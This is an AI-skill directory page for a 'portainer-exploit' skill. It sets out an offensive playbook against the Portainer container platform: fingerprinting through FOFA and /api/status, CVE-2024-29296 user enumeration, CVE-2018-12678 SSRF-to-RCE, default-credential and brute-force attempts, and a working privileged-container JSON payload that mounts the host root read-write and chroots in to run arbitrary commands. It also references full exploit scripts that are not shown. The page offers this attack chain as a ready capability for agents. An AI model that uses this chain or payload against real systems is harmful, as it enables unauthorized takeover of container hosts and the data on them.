SuperAPI AI Directory

portainer-exploit

Security & auditing

View repository

Updated 10-16 09:44

About this skill

Portainer vulnerability exploitation skills
  • Product: Portainer (Docker/Kubernetes container management platform)
  • Default port: 9000 (HTTP), 9443 (HTTPS) | Identification: /api/status Returns JSON | FOFA: app="Portainer"

Vulnerability overview

Vulnerability ID Affected versions Vulnerability type Exploitation conditions Impact
Default/weak password All versions Authentication bypass Weak password Critical
CVE-2024-29296 CE 2.19.4 User enumeration (timing difference) No authentication required Medium
CVE-2018-12678 <=1.17 Request Splitting SSRF→RCE No authentication required Critical
Docker API abuse All versions Privileged container escape RCE Authentication required Critical

Exploitation decision tree

1. 识别: GET /api/status → 确认Portainer
2. 认证突破:
   ├── 尝试默认凭据 admin/已知密码
   ├── CVE-2024-29296: 用户枚举确定有效用户名
   └── 暴力破解密码
3. 认证后: JWT Token → 枚举端点 → 特权容器 → 挂载宿主机 → RCE
4. 未认证(老版本): CVE-2018-12678 → Request Splitting → Docker API → RCE

Exploitation chain priority

1. 默认/弱口令 → JWT Token → Docker API → 特权容器 → RCE
2. CVE-2024-29296 用户枚举 → 定向暴力破解 → 同上
3. CVE-2018-12678 (仅<=1.17) → SSRF → Docker API → RCE

Common API endpoints

Endpoint Purpose
GET /api/status System status/version
POST /api/auth Login authentication
GET /api/endpoints Docker endpoint list
POST /api/endpoints/{id}/docker/containers/create Create container
POST /api/endpoints/{id}/docker/containers/{cid}/start Start container
POST /api/endpoints/{id}/docker/containers/{cid}/wait Wait for container

Core configuration for privileged container escape

{
    "Image": "ubuntu:20.04",
    "Cmd": ["/bin/sh", "-c", "chroot /host /bin/bash -c '<command>'"],
    "HostConfig": { "Binds": ["/:/host:rw"], "Privileged": true }
}
  • "Privileged": true — Privileged mode, no isolation whatsoever
  • "Binds": ["/:/host:rw"] — Host root directory mounted as read-write
  • chroot /host — Switch to the host file system, commands act directly on the host

Detailed reference

  • → CVE vulnerability exploitation details → references/cve-exploits.md
    • CVE-2024-29296 User enumeration principles and Python script
    • CVE-2018-12678 Request Splitting SSRF→RCE exploitation methods
  • → Post-authentication RCE and comprehensive detection → references/post-auth-rce.md
    • Default credential detection script
    • Complete exploitation script for Docker API privileged container escape (PortainerExploit class)
    • Comprehensive vulnerability detection script